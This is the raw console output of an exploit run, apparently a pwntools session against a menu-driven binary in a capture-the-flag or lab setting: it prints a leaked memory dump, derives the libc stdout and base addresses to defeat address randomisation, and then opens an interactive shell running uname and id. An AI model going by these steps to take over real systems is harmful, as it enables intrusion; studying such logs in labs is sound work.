[*] leak: b'\x00\x00\x00\x00\x00\x00\x00\x00\x08\xf7\xdd\xf8\xd1\x7f\x00\x00\xa0\x96\xa8\xf8\xd1\x7f\x00\x00\xb0\x81\xa8\xf8\xd1\x7f\x00\x00\x10\xf7\xdd\xf8\xd1\x7f\x00\x00\xf01\xb3\xf8\xd1\x7f\x00\x00\x10\xf8\xa6\xf8\xd1\x7f\x00\x00p\xca\xb8\xf8\xd1\x7f\x00\x00\x80b\xae\xf8\xd1\x7f\x00\x00P\x13\xb1\xf8\xd1\x7f\x00\x00P\xa7\xa3\xf8\xd1\x7f\x00\x00\xe0H\xa5\xf8\xd1\x7f\x00\x00\xf0\x95\xab\xf8\xd1\x7f\x00\x00p\x01\xa9\xf8\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xe1\xa9\xf8\xd1\x7f\x00\x00\x80\x9e\xa8\xf8\xd1\x7f\x00\x000\x11\xb1\xf8\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0T\xa8\xf8\xd1\x7f\x00\x00@@\xa5\xf8\xd1\x7f\x00\x00\xf0\x86\xa8\xf8\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0B\xa5\xf8\xd1\x7f\x00\x00pO\xa5\xf8\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08`\xe6\x9f\xb0U\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00- menu -\n'
[*] leaked libc stdout addr: 0x7fd1f8ddf708
[*] obtained libc base address: 0x7fd1f8a1a000
[*] Switching to interactive mode
$ uname -a
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)